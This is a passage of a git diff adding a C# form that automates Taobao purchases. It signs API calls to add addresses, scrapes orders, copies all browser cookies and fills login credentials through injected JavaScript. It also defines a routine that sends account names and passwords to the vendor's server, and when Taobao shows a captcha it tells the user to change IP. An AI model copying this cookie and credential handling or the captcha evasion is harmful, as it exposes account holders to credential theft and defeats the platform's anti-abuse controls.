MessageBox.Show("城市识别失败,请手动填写地址", "提示"); + return; + } + + //获取区的编号 + var areas = AddressSetIni.Addresses[cityid]; + AddressBase areaAddress = areas.Find(a => a != null && area.Contains(a.Name)); + if (areaAddress != null) areaid = areaAddress.Id; + + //获取镇的编号 + url = "https://lsp.wuliu.taobao.com/locationservice/addr/output_address_town_array.do?l1=" + provid + "&l2=" + cityid + "&l3=" + areaid + "&lang=zh-S"; + if (town.Contains("团")) + { + url = "https://lsp.wuliu.taobao.com/locationservice/addr/output_address_town_array.do?l1=" + provid + "&l2=" + cityid + "&lang=zh-S"; + } + htmlxt = GetPostTaobaoHtml.UploadTaobao(url, "", true); + + m = BaseRegex.GetMatchRegex(htmlxt, @"\[['""]([\d]+)['""],['""]([^""]+?)['""]"); + List towns = new List(); + for (int i = 0; m != null && i < m.Count; i++) + { + string id = m[i].Groups[1].Value; + string t = m[i].Groups[2].Value; + if (string.IsNullOrEmpty(id) || string.IsNullOrEmpty(t)) + { + continue; + } + towns.Add(new KeyValueBase(id, t)); + } + //镇编号 + string townid = matchingMethod(town, towns); + + + if (string.IsNullOrEmpty(townid)) + { + townid = areaid.ToString(); + if (areaid == 0 || string.IsNullOrEmpty(areaid.ToString())) + { + townid = cityid.ToString(); + if (cityid == 0 || string.IsNullOrEmpty(cityid.ToString())) + { + townid = provid.ToString(); + } + } + } + + //增加新地址 + StringBuilder buffer = new StringBuilder(); + buffer.AppendFormat("jsv={0}", "2.4.2"); + buffer.AppendFormat("&appKey={0}", 12574478); + buffer.AppendFormat("&api={0}", "mtop.taobao.mbis.insertDeliverAddress"); + buffer.AppendFormat("&v={0}", "1.0"); + + + buffer.AppendFormat("&ecode={0}", "1"); + buffer.AppendFormat("&needLogin={0}", true); + buffer.AppendFormat("&timeout={0}", 3000); + + buffer.AppendFormat("&dataType={0}", "jsonp"); + buffer.AppendFormat("&type={0}", "jsonp"); + buffer.AppendFormat("&callback={0}", "mtopjsonp14"); + + data = "{\"divisionCode\":\"" + townid + "\",\"townDivisionCode\":\"" + townid + + "\",\"addressDetail\":\"" + addressstr + "\",\"longitude\":\"117.242306\",\"latitude\":\"31.826987\",\"postCode\":\"000000\",\"overseaAddress\":false,\"fullName\":\"" + Order.name + "\",\"mobileCode\":86,\"mobile\":\"" + Order.mobile + "\",\"phoneInternationalCode\":86,\"phoneAreaCode\":\"\",\"phoneNumber\":\"\",\"phoneExtension\":\"\",\"defaultDeliverAddress\":false}"; + + sign = GetSign(h5Tkt, data, out time); + buffer.AppendFormat("&sign={0}", sign); + buffer.AppendFormat("&t={0}", time); + buffer.AppendFormat("&data={0}", GetHtml.UrlEncodeUtf8(data)); + + url = "https://h5api.m.taobao.com/h5/mtop.taobao.mbis.insertdeliveraddress/1.0/?" + buffer.ToString(); + string refere = "https://member1.taobao.com/member/fresh/deliver_address.htm"; + //string htmlx = GetPostTaobaoHtml.UploadTaobao(url, url, true); + + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, "", cookies); + m = BaseRegex.GetMatchRegex(htmlx, @"{\\""deliverId\\"":([\d]+?)}"); + if (m == null || m.Count <= 0) return; + string deliverId = m[0].Groups[1].Value; + + //设置默认地址 + StringBuilder bufferdefault = new StringBuilder(); + bufferdefault.AppendFormat("jsv={0}", "2.4.2"); + bufferdefault.AppendFormat("&appKey={0}", 12574478); + bufferdefault.AppendFormat("&api={0}", "mtop.taobao.mbis.setDefultAddress"); + bufferdefault.AppendFormat("&v={0}", "1.0"); + bufferdefault.AppendFormat("&ecode={0}", "1"); + bufferdefault.AppendFormat("&needLogin={0}", true); + bufferdefault.AppendFormat("&dataType={0}", "jsonp"); + bufferdefault.AppendFormat("&type={0}", "jsonp"); + bufferdefault.AppendFormat("&callback={0}", "mtopjsonp14"); + + data = "{\"deliverId\":" + deliverId + "}"; + sign = GetSign(h5Tkt, data, out time); + bufferdefault.AppendFormat("&sign={0}", sign); + bufferdefault.AppendFormat("&t={0}", time); + bufferdefault.AppendFormat("&data={0}", GetHtml.UrlEncodeUtf8(data)); + + url = "https://h5api.m.taobao.com/h5/mtop.taobao.mbis.setdefultaddress/1.0/?" + bufferdefault.ToString(); + refere = "https://member1.taobao.com/member/fresh/deliver_address.htm"; + string htmlxd = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, "", cookies); + } + /// + /// 匹配集合中的镇编号 + /// + /// + /// + public string matchingMethod(string town, List towns) + { + if (string.IsNullOrEmpty(town)) + return ""; + char[] ll = town.ToCharArray(); + string maxId = ""; string maxName = ""; + int maxPercent = 0; + foreach (var item in towns) + { + char[] t = item.Value.Replace("镇", "").Replace("开发区", "").Replace("经济开发区", "").Replace("区", "").ToCharArray(); + if (t.Length == 0) + continue; + int hadCount = 0; + foreach (var i in t) + { + bool had = false; + foreach (var l in ll) + { + if (l == i) + { + had = true; + break; + } + } + if (had) + { + hadCount++; + } + } + double hadPercent = hadCount * 100 / t.Length; + if (hadPercent > maxPercent) + { + maxPercent = hadCount * 100 / t.Length; + maxId = item.Key; + maxName = item.Value; + } + } + return maxId; + } + + private void TaobaoLoginForm_FormClosing(object sender, FormClosingEventArgs e) + { + if (!string.IsNullOrEmpty(orderID)) + { + //Invoke(new delegateViewGrid(mf.RefreshRefundGridStatus), orderID); + } + this.Hide(); + e.Cancel = true; + if (ShowType == 7) + { + Process.GetCurrentProcess().Kill(); + } + } + + + private void UpdateToServer() + { + #region 拍单成功后先更新部分拍单相关信息 + Order.pay_mobile = GetCurrentUserName(); + if (string.IsNullOrEmpty(Order.pay_mobile)) + { + Order.pay_mobile = SetCookiesUserInfo.PayMobileTb; + } + string buyTime = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"); + if (Order.buy_type == 2)//拍单 + { + Order.status = PayGroupOrder.StatusList["5"];//等待上家发货 + Order.buy_nickname = Order.name; + Order.buy_mobile = Order.mobile; + Order.buy_address = Order.address; + Order.buy_time = buyTime; + PayGroupOrder.OrderBuyTempList.Add(Order); + } + #endregion + //读拍单支付成功页面的数据 + #region 读拍单支付成功页面的数据 + Thread.Sleep(200); + string buyOrderId = ""; + string status = "6"; + string url = cefWebBrowser1.Address; + string referex = "https://i.taobao.com/my_taobao.htm"; + string html = GetPostTaobaoHtml.UploadTaobao(url, referex, true); + string oidx = BaseRegex.GetMatchRegexString(ref url, "biz_order_id=([\\d]+)"); + if (string.IsNullOrEmpty(oidx)) + { + oidx = BaseRegex.GetMatchRegexString(ref url, "&orderIds=([\\s\\S]+?)&"); + } + if (string.IsNullOrEmpty(oidx)) + { + oidx = BaseRegex.GetMatchRegexString(ref html, "pay_success.htm\\?biz_order_id=([\\s\\S]+?)¬ify_id"); + } + string pidx = Id.ToString(); + string pricex = BaseRegex.GetMatchRegexString(ref html, "([\\s\\S]+?)"); + if (string.IsNullOrEmpty(pricex)) + { + pricex = BaseRegex.GetMatchRegexString(ref html, "

支付宝已收到您的付款([\\S\\s]+?) 元 !请确定收到货品后再确认付款。

"); + } + if (string.IsNullOrEmpty(pricex)) + { + url = "https://trade.taobao.com/trade/detail/trade_order_detail.htm?biz_order_id=" + oidx;//订单详情 + html = GetPostTaobaoHtml.UploadTaobao(url, referex, true); + html = html.Replace("\\", ""); + pricex = BaseRegex.GetMatchRegexString(ref html, "\"name\":\"订单总金额\",\"value\":\"([\\s\\S]+?)\""); + } + Order.buy_price = Convert.ToDecimal(pricex); + if (Order.buy_type == 1) + { + buyOrderId = oidx; + status = "4";// MainForm.GroupBuyAfter ? "11" : "4"; + } + if (Order.buy_type == 2) + { + buyOrderId = oidx; + status = "5"; + } + + if (string.IsNullOrEmpty(buyOrderId)) + { + Thread.Sleep(1000); + url = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm"; + string refere = "https://i.taobao.com/my_taobao.htm"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + + if (html.Contains("滑动")) + { + MessageBox.Show("请更换IP", "提示"); + } + + string parrten = @"\\['""]extra\\['""]:\{[^}]+\},\\['""]id\\['""]:\\['""]([\d]+)\\['""],[\w\W]+?\\['""]payInfo\\['""]:\{\\['""]actualFee\\['""]:\\['""]([\d.]+)\\['""],[\w\W]+?\\['""]subOrders\\['""]:\[\{\\['""]id\\['""]:[\d]+,\\['""]itemInfo\\['""]:\{\\['""]id\\['""]:([\d]+),"; + var m = BaseRegex.GetMatchRegex(ref html, parrten); + + for (int i = 0; m != null && i < m.Count; i++) + { + //string list = m[i].Groups[0].Value; + string oid = m[i].Groups[1].Value; + string pid = m[i].Groups[3].Value; + string price = m[i].Groups[2].Value; + Order.buy_price = Convert.ToDecimal(price); + //string oid = BaseRegex.GetStringJson(ref list, "order_sn"); + //string pid = BaseRegex.GetStringJson(ref list, "goods_id"); + if (pid == Id.ToString() && Order.buy_type == 1) + { + buyOrderId = oid; + status = "4";// MainForm.GroupBuyAfter ? "11" : "4"; + break; + } + if (pid == Id.ToString() && Order.buy_type == 2) + { + buyOrderId = oid; + status = "5"; + break; + } + } + + if (string.IsNullOrEmpty(buyOrderId))//重试一次 + { + Thread.Sleep(5 * 1000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + parrten = @"\\['""]extra\\['""]:\{[^}]+\},\\['""]id\\['""]:\\['""]([\d]+)\\['""],[\w\W]+?\\['""]payInfo\\['""]:\{\\['""]actualFee\\['""]:\\['""]([\d.]+)\\['""],[\w\W]+?\\['""]subOrders\\['""]:\[\{\\['""]id\\['""]:[\d]+,\\['""]itemInfo\\['""]:\{\\['""]id\\['""]:([\d]+),"; + m = BaseRegex.GetMatchRegex(ref html, parrten); + for (int i = 0; m != null && i < m.Count; i++) + { + //string list = m[i].Groups[0].Value; + //string oid = BaseRegex.GetStringJson(ref list, "order_sn"); + //string pid = BaseRegex.GetStringJson(ref list, "goods_id"); + string oid = m[i].Groups[1].Value; + string pid = m[i].Groups[3].Value; + string price = m[i].Groups[2].Value; + Order.buy_price = Convert.ToDecimal(price); + if (pid == Id.ToString() && Order.buy_type == 1) + { + buyOrderId = oid; + status = "4";// MainForm.GroupBuyAfter ? "11" : "4"; + break; + } + if (pid == Id.ToString() && Order.buy_type == 2) + { + buyOrderId = oid; + status = "5"; + break; + } + } + } + } + #endregion + if (string.IsNullOrEmpty(buyOrderId)) + { + MessageBox.Show("自动匹配订单编号异常,请手动处理此订单\r\n并标记为不拍,然后重新打开拼单王", "提示"); + return; + } + //Order.pay_mobile = GetCurrentUserName(); + //if (string.IsNullOrEmpty(Order.pay_mobile)) + //{ + // Order.pay_mobile = SetCookiesUserInfo.PayMobile; + //} + //Order.pay_mobile = SetCookiesUserInfo.PayMobile; + string data; + + Order.order_id_buy = buyOrderId; + Order.status = "";//订单状态 PayGroupOrder.StatusList[status]; + + Order.buy_nickname = Order.name; + Order.buy_mobile = Order.mobile; + Order.buy_address = Order.address; + //PayGroupOrder.OrderBuyTempList.Add(Order); + + + #region 将拍过的单子保存的txt以及字典中 + try + { + //BuyOrderTemp orderTemp = new BuyOrderTemp(); + //orderTemp.ShopName = Order.shop_name; + //orderTemp.OrderId = Order.order_id; + //orderTemp.BuyOrderId = buyOrderId; + //orderTemp.BuyUser = Order.pay_mobile; + //orderTemp.BuyTime = Order.buy_time; + //orderTemp.PayAccountZFB = Order.pay_mobile; + //PayGroupOrder.PreserveBuyOrder(orderTemp); + } + catch //(Exception) + { + + //throw; + } + + + #endregion + #region 更新本地数据库 + //先从数据库查询到当前对应的订单,然后进行修改。 + //OrderbuyDAL orderDAL = new OrderbuyDAL(); + //var orderTempx = orderDAL.FindAll(2, "and buy_orderid=" + "'" + Order.order_id + "'"); + //for (int i = 0; i < orderTempx.Count; i++) + //{ + // var item = orderTempx[i]; + // item.buy_price = Order.buy_price; + // item.pay_orderid = Order.order_id_buy; + // item.pay_mobile = Order.pay_mobile; + // item.buy_nickname_up = Order.name;//买家姓名 + // item.buy_mobile_up = Order.mobile;//买家电话 + // item.buy_address_up = Order.address;//买家地址 + // item.status = 5; + // item.buyorder_time = BaseClass.GetServerTimeString().ToString("yyyy-MM-dd HH:mm:ss"); + // item.is_has_buy = 1; + // orderDAL.Update(item); + //} + //if (orderTempx != null && orderTempx.id > 0)//开始修改 + //{ + // orderTempx.buy_price = Order.buy_price; + // orderTempx.pay_orderid = Order.order_id_buy; + // orderTempx.pay_mobile = Order.pay_mobile; + // orderTempx.buy_nickname_up = Order.name;//买家姓名 + // orderTempx.buy_mobile_up = Order.mobile;//买家电话 + // orderTempx.buy_address_up = Order.address;//买家地址 + // orderTempx.status = 5; + // orderTempx.buyorder_time = BaseClass.GetServerTimeString().ToString("yyyy-MM-dd HH:mm:ss"); + // orderTempx.is_has_buy = 1; + // orderDAL.Update(orderTempx); + //} + //将拍过的订单转移到待发货列表 + PayGroupOrderBase o = new PayGroupOrderBase(); + o = Order; + PayGroupOrder.OrderSendList.Add(Order); + PayGroupOrder.OrderSendTempList.Add(Order); + var order = PayGroupOrder.OrderBuyList.Find(x => x != null && x.order_id == Order.order_id && x.buy_type == Order.buy_type); + if (order != null) + { + order.status = PayGroupOrder.StatusList["5"]; + PayGroupOrder.OrderBuyTempList.Add(order); + //PayGroupOrder.OrderBuyList.Remove(order); + } + #endregion + + #region 更新服务端|OA + //bool isSuccess = OrderManage.UpdataBuyOrder(Order, status, Express); + //if (!isSuccess) + //{ + // isSuccess = OrderManage.UpdataBuyOrder(Order, status, Express); + // //return; + //} + #endregion + + } + private string GetCurrentUserName() + { + string url = "https://i.taobao.com/my_taobao.htm"; + string refere = "https://login.taobao.com/member/login.jhtml"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + string name = BaseRegex.GetMatchRegexString(ref html, @"[\s]*[\(]([\w]+)[\)]"); + return name; + } + private void SetUrlThread() + { + Thread.Sleep(200); + Invoke(new delegateView(SetUrl)); + } + + private void SetUrl() + { + try + { + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync("window.location.href='" + WebUrl + "';", "", 1); + } + catch + { + + } + + //cefWebBrowser1.Load(WebUrl); + } + + private void GetClose() + { + SetBrowserUrl(); + //return; + Thread.Sleep(1000); + try + { + + Invoke(new delegateView(SetClose)); + } + catch (Exception e) + { + + } + + } + + private void SetClose() + { + try + { + Hide(); + } + catch + { + + } + } + + private void buttonX3_Click(object sender, EventArgs e) + { + isPhoneUrl = false; + cefWebBrowser1.Reload(true); + cefWebBrowser1.Refresh(); + } + public string Message = ""; + public void SetMessage(string message) + { + Message = message; + Thread.Sleep(1000); + Invoke(new delegateView(SetMessage)); + } + + public void SetMessage() + { + try + { + if (cefWebBrowser1 == null) + MessageBox.Show(Message); + else + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync("document.write('
" + Message + "
')", "", 1); + //SetSku(); + } + catch + { + + } + + } + + public void SetMaiJiaWindow() + { + Invoke(new delegateView(SetMaiJiaWindowFun)); + } + public void SetMaiJiaWindowFun() + { + Thread.Sleep(1000); + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(" var xiaoxiongappendChild=document.getElementsByClassName('name')[1]; var ahref = document.getElementById('side-shop-info').getElementsByTagName('span')[0].firstChild;var spanvalue = document.getElementById('side-shop-info').getElementsByTagName('span')[0];spanvalue.parentNode.removeChild(spanvalue);xiaoxiong.appendChild(spanvalue);", "", 1); + //cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync("document.write($('span a.ww - inline').href)", "", 1); + } + + + public string orderID = string.Empty; + public void Refund(string orderID) + { + this.orderID = orderID; + } + /// + /// 旺旺聊天窗口 + /// + /// + /// + + private void buttonX1_Click(object sender, EventArgs e) + { + + //string url = "https://detail.tmall.com/item.htm?id=" + Id; + string url = "http://taoke.qixiaoke.com/index.php/clk/" + Id; + string html = GetPostTaobaoHtml.UploadTaobao(url, url, false); + + string patternProv = @" + /// 订单支付成功,没有弹出等待上家发货,执行此方法 + /// + /// + /// + private void btnPaySuccess_Click(object sender, EventArgs e) + { + //new Thread(UpdateToServer).Start(); + //if (Order.buy_type == 1) + //{ + // Order.status = "淘宝订单生成成功"; + // Express.use_times++; + // PayGroupOrder.ExpressTempList.Add(Express); + // PayGroupOrder.OrderTempList.Add(Order); + // MessageBox.Show("淘宝订单生成成功", "提示"); + //} + //if (Order.buy_type == 2) + //{ + // Order.status = "等待上家发货"; + // PayGroupOrder.OrderBuyTempList.Add(Order); + // MessageBox.Show("等待上家发货", "提示"); + //} + //try + //{ + // Hide(); + //} + //catch + //{ + //} + //new Thread(GetClose).Start(); + } + + private void loginUpButtonX_Click(object sender, EventArgs e) + { + new Thread(GetLoginUserName).Start(); + loginEd = true; + try + { + if (!LoginOk) + { + LoginOk = true; + Hide(); + } + } + catch + { + } + } + + private void buttonX2_Click(object sender, EventArgs e) + { + cefWebBrowser1.Load(WebUrl); + } + + private void ChangeBuyPage_Click(object sender, EventArgs e) + { + string url = cefWebBrowser1.Address; + if (url.Contains("main.m.taobao.com/order/index.html")) + { + url = url.Replace("main.m.taobao.com/order/index.html", "buy.m.tmall.com/order/confirmOrderWap.htm"); + cefWebBrowser1.Load(url); + } + } + + private void SubOrderPictureBox_Click(object sender, EventArgs e) + { + string url = cefWebBrowser1.Address; + if (url.Contains("main.m.taobao.com/order/index.html")) + { + url = url.Replace("main.m.taobao.com/order/index.html", "buy.m.tmall.com/order/confirmOrderWap.htm"); + cefWebBrowser1.Load(url); + } + } + + private void wwPictureBox_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(wwUid)) + { + cefWebBrowser1.GetSourceAsync().ContinueWith(x => + { + var html = x.Result; + wwUid = BaseRegex.GetStringJson(ref html, "sellerNick"); + wwFromId = BaseRegex.GetMatchRegexString(ref html, "class=\"site-nav-login-info-nick \">([\\s\\S]+?)"); + if (string.IsNullOrEmpty(wwUid)) + { + wwUid = BaseRegex.GetMatchRegexString(ref html, "data-nick=\"[\\s\\S]+?\""); + } + if (string.IsNullOrEmpty(wwFromId)) + { + wwFromId = BaseRegex.GetMatchRegexString(ref html, "fromid=cntaobao([\\s\\S]+?)\""); + } + }); + } + string url = "https://amos.alicdn.com/getcid.aw?v=3&groupid=0&s=1&charset=utf-8&uid=" + GetHtml.UrlEncodeUtf8(wwUid) + "&site=cntaobao&fromid=cntaobao" + GetHtml.UrlEncodeUtf8(wwFromId); + System.Diagnostics.Process.Start("iexplore.exe", url); + } + + private void buttonXCopyMsg_Click(object sender, EventArgs e) + { + Clipboard.SetDataObject(leaveMessageTextBoxX.Text); + } + + #region 处理旺旺登录淘宝cookies + public void ReflashCookies() + { + while (true) + { + //Thread.Sleep(1000); + if (string.IsNullOrEmpty(BaseClass.ChromeUserAgent)) + { + Thread.Sleep(300); + } + Thread.Sleep(300); + Invoke(new delegateView(GetCookies)); + Thread.Sleep(300); + for (int i = 0; i < cookies.Count; i++)//初始化COOKIES缓存 + { + var c = cookies[i]; + if (c == null) + { + continue; + } + + string mainDomain = GetHtml.GetMainDomain(c.Domain); + if (BaseClass.CookiesAll.ContainsKey(mainDomain)) + { + if (BaseClass.CookiesAll[mainDomain].ContainsKey(c.Name)) + BaseClass.CookiesAll[mainDomain][c.Name] = c.Value; + else + BaseClass.CookiesAll[mainDomain].Add(c.Name, c.Value); + } + else + { + BaseClass.CookiesAll.Add(mainDomain, new Dictionary()); + BaseClass.CookiesAll[mainDomain].Add(c.Name, c.Value); + } + + } + foreach (KeyValuePair> co in BaseClass.CookiesAll)//同步到系统 + { + string cook = ""; + foreach (KeyValuePair c in co.Value) + { + cook += c.Key + "=" + c.Value + "; "; + } + if (BaseClass.CookiesAllString.ContainsKey(co.Key)) + BaseClass.CookiesAllString[co.Key] = cook; + else + BaseClass.CookiesAllString.Add(co.Key, cook); + } + + Thread.Sleep(100); + } + } + + /// + /// 获取cookies + /// + private void GetCookies() + { + cookies.Clear(); + var cookieManager = Cef.GetGlobalCookieManager(); + CookieVisitor visitor = new CookieVisitor(); + visitor.SendCookie += visitor_SendCookie; + cookieManager.VisitAllCookies(visitor); + //cefWebBrowser1.GetCookiesAsync(CallBack); + } + #endregion + public void ReadPath() + { + Invoke(new delegateView(ReadTbCookiesPath)); + } + + public void ReadTbCookiesPath() + { + string path = Environment.CurrentDirectory + "\\temp\\TbCookiesPath"; + DirectoryInfo directory = new DirectoryInfo(path); + if (directory.Exists)//存在,开始读 + { + var dics = directory.GetFiles(); + for (int k = 0; k < dics.Length; k++) + { + string file = dics[k].ToString(); + + string shopName = file.Substring(0, file.IndexOf('.')); + string filePath = path + "\\" + dics[k]; + bool isHas = FileBase.Exists(filePath); + if (isHas) + { + string str = ""; + str = FileBase.ReadAllText(filePath); + if (!string.IsNullOrEmpty(str)) + { + txtTbCookies.Text = str; + } + } + } + } + + } + + private void btnSavePath_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(txtTbCookies.Text)) + { + return; + } + string path = txtTbCookies.Text; + //path = path.Replace("findgoldcatexploder.exe", "")+ "temp\\TbCookiesPath"; + FileBase.WriteTxt("\\temp\\TbCookiesPath", "TbCookiesPath", txtTbCookies.Text, true); + new Thread(GetLoginUserName).Start(); + } + + #region 连续拍单 + private void buttonNextOrder_Click(object sender, EventArgs e) + { + // pdForm.ContinueBuy(SelcetRowIndex); + } + #endregion + + + #region 添加至上家 + bool isExecJs = false; + + private void ExecTbJs() + { + if (isExecJs) + { + return; + } + while (true) + { + isExecJs = true; + Thread.Sleep(100); + string js = @"function getlen(){ + var len=document.getElementsByClassName('row row-2 title').length; + return len; + }; + getlen();"; + var task = cefWebBrowser1.GetBrowser().MainFrame.EvaluateScriptAsync(js); + task.Wait(); + var result = task.Result.Result; + int len = 0; + if (result.ToString() == "0") + { + continue; + } + len = Convert.ToInt32(result); + for (int i = 0; i < len; i++) + { + js = "document.getElementsByClassName('row row-2 title')[" + i + "].children[0].target='_self';"; + task = cefWebBrowser1.GetBrowser().MainFrame.EvaluateScriptAsync(js); + task.Wait(); + result = task.Result.Result; + + js = "document.getElementsByClassName('pic')[" + i + "].children[0].target='_self';"; + task = cefWebBrowser1.GetBrowser().MainFrame.EvaluateScriptAsync(js); + task.Wait(); + result = task.Result.Result; + } + + } + } + + private void panelAddUpProId_Click(object sender, EventArgs e) + { + //string url = cefWebBrowser1.Address; + //if (!url.Contains("detail.tmall.hk/hk/item.htm") && !url.Contains("detail.tmall.com/item.htm") && !url.Contains("id=")) + //{ + // return; + //} + //searchSameForm.SetUpProductId(url); + } + + private void CefWebBrowser_FrameLoadStart(object sender, FrameLoadStartEventArgs e) + { + //if (BaseClass.PhonePay) + //{ + // string userAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"; + // // 使用JavaScript修改UserAgent + // cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync("navigator.__defineGetter__('userAgent', function(){ return '" + userAgent + "'});navigator.userAgent;"); + //} + + } + + private void panelExpDetail_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(bizOrderId)) + { + return; + } + cefWebBrowser1.Load("https://h5.m.taobao.com/awp/mtb/oper.htm?operId=0&orderId=" + bizOrderId); + } + + private void SetCombTb() + { + if (InvokeRequired) + { + Invoke(new Action(() => + { + SetTbBuyer(); + })); + } + else + { + SetTbBuyer(); + } + } + + private void SetTbBuyer() + { + //userComboBoxTaoBao.Items.Clear(); + //foreach (KeyValuePair item in SetCookiesUserInfo.AllBuyersCookies)//拍单买手号 + //{ + // if (item.Value.SiteId.Equals(1)) + // { + // if (!userComboBoxTaoBao.Items.Contains("点击下拉切换")) + // { + // userComboBoxTaoBao.Items.Add("点击下拉切换"); + // } + + // userComboBoxTaoBao.Items.Add(item.Key.name); + // } + //} + } + + private void panelLogin_Click(object sender, EventArgs e) + { + LoginTb(txtAcc.Text, txtPwd.Text); + } + + + private void SaveTbAccout(string name) + { + if (InvokeRequired) + { + Invoke(new Action(() => + { + string tbAcc = txtAcc.Text; + string txPwd = txtPwd.Text; + SaveTbAcc(tbAcc, txPwd, name); + })); + } + else + { + string tbAcc = txtAcc.Text; + string txPwd = txtPwd.Text; + SaveTbAcc(tbAcc, txPwd, name); + } + } + + private void SaveTbAcc(string tbAcc, string txPwd, string name) + { + if (userComboBoxTaoBao.Text != name) + { + //MessageBox.Show("当前选中账户与登录的账户不一致,账户密码不会保存!", "提示"); + //return; + userComboBoxTaoBao.Text = name; + } + //PdtbAccountDAL accDal = new PdtbAccountDAL(); + //var acc = accDal.GetFirst(" account_name='" + name + "'"); + //if (acc == null) + //{ + // PdtbAccountModel accModel = new PdtbAccountModel(); + // accModel.account = DataOpenSSL.EncryptString(tbAcc); + // accModel.acc_pwd = DataOpenSSL.EncryptString(txPwd); + // accModel.account_name = name; + // int result = accDal.Insert(accModel); + //} + //else + //{ + // acc.account = DataOpenSSL.EncryptString(tbAcc); + // acc.acc_pwd = DataOpenSSL.EncryptString(txPwd); + // int result = accDal.Update(acc); + //} + + //if (PayGroupOrder.pdtbAcc.ContainsKey(name)) + //{ + // Dictionary dicAcc = new Dictionary(); + // dicAcc.Add(tbAcc, txPwd); + // PayGroupOrder.pdtbAcc[txtAcc.Text] = dicAcc; + //} + //else + //{ + // Dictionary dicAcc = new Dictionary(); + // dicAcc.Add(tbAcc, txPwd); + // PayGroupOrder.pdtbAcc.Add(name, dicAcc); + //} + //userComboBoxTaoBao.Text = name; + //new Thread(SetCombTb).Start(); + //AsycAddTbAccToServer(txtAcc.Text, txPwd, name); + } + + private void LoginTb(string acc, string pwd) + { + button1(acc); + button2(pwd); + button3(); + } + + private void button1(string acc) + { + string js = "document.getElementById('fm-login-id').value ='" + acc + "'"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(js); + Thread.Sleep(500); + } + + private void button2(string pwd) + { + string js = "document.getElementById('fm-login-password').value ='" + pwd + "'"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(js); + Thread.Sleep(500); + } + + private void button3() + { + string js = "document.getElementsByClassName('fm-submit')[0].click();"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(js); + } + + private void txtPwd_TextChanged(object sender, EventArgs e) + { + //txtPwd2.Text = txtPwd.Text; + } + + private void userComboBoxTaoBao_SelectedIndexChanged(object sender, EventArgs e) + { + string txt = userComboBoxTaoBao.Text; + if (txt == "点击下拉切换") + { + txtAcc.Text = ""; + txtPwd.Text = ""; + return; + } + //if (!PayGroupOrder.pdtbAcc.ContainsKey(txt)) + //{ + // txtAcc.Text = ""; + // txtPwd.Text = ""; + // return; + //} + //var acc = PayGroupOrder.pdtbAcc[txt]; + //txtAcc.Text = acc.FirstOrDefault().Key; + //txtPwd.Text = acc.FirstOrDefault().Value; + } + + private async void AsycAddTbAccToServer(string acc, string pwd, string name) + { + await Task.Run(() => + { + AddTbAccToServer(acc, pwd, name); + }); + } + private void AddTbAccToServer(string acc, string pwd, string name) + { + StringBuilder s = new StringBuilder(); + s.Append("&user_name=" + acc); + s.Append("&pass_word=" + DataOpenSSL.EncryptString(pwd)); + s.Append("&login_name=" + name); + string data = UserLogin.GetSignaturex() + s; + string url = BaseClass.BuildObjString("taobao_login&act=add"); + string html = GetHtml.PostUtf8(url, data); + } + + private void panelDelTwo_Click(object sender, EventArgs e) + { + if (userComboBoxTaoBao.Text == "" || userComboBoxTaoBao.Text == "点击下拉切换") + { + return; + } + var msg = MessageBox.Show("确定删除吗?", "提示", MessageBoxButtons.OKCancel); + if (msg != DialogResult.OK) + { + return; + } + string name = userComboBoxTaoBao.Text; + //bool result = mainNForm.DelBuyer(userComboBoxTaoBao.Text,1); + //if (result) + //{ + // if (userComboBoxTaoBao.Items.Contains(userComboBoxTaoBao.Text)) + // userComboBoxTaoBao.Items.Remove(userComboBoxTaoBao.Text); + // userComboBoxTaoBao.Text = "点击下拉切换"; + //} + //PdtbAccountDAL accDal = new PdtbAccountDAL(); + //var acc = accDal.GetFirst(" account_name='" + name + "'"); + //if (acc != null) + //{ + // int resultx = accDal.Delete(acc.id); + // if (resultx > 0) + // { + // if (PayGroupOrder.pdtbAcc.ContainsKey(txtAcc.Text)) + // { + // PayGroupOrder.pdtbAcc.Remove(txtAcc.Text); + // } + // userComboBoxTaoBao.Text = "点击下拉切换"; + // txtAcc.Text = ""; + // txtPwd.Text = ""; + // new Thread(SetCombTb).Start(); + // } + + //} + } + + #endregion + + + + + //private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + //{ + // System.Diagnostics.Process.Start("explorer.exe", "https://suggest.taobao.com/sug?code=utf-8&q=&_ksTS=1522133345264_2835&callback=jsonp2836&area=b2c&code=utf-8&k=1&src=tmall_pc"); + //} + } +} diff --git a/29WxOrder/TaobaoLoginForm.resx b/29WxOrder/TaobaoLoginForm.resx new file mode 100644 index 0000000..20e6bde --- /dev/null +++ b/29WxOrder/TaobaoLoginForm.resx @@ -0,0 +1,1407 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAAEwAAAAaCAIAAACSIi2WAAAABGdBTUEAALGPC/xhBQAAAnNJREFUWEft + l09LVGEUxv0gQQRuBEGCNkEQrSQUJHDjJgja9AnaBG0CV9FeJM2mrHSaiUYLIiRSiXAR458gtImchhIL + 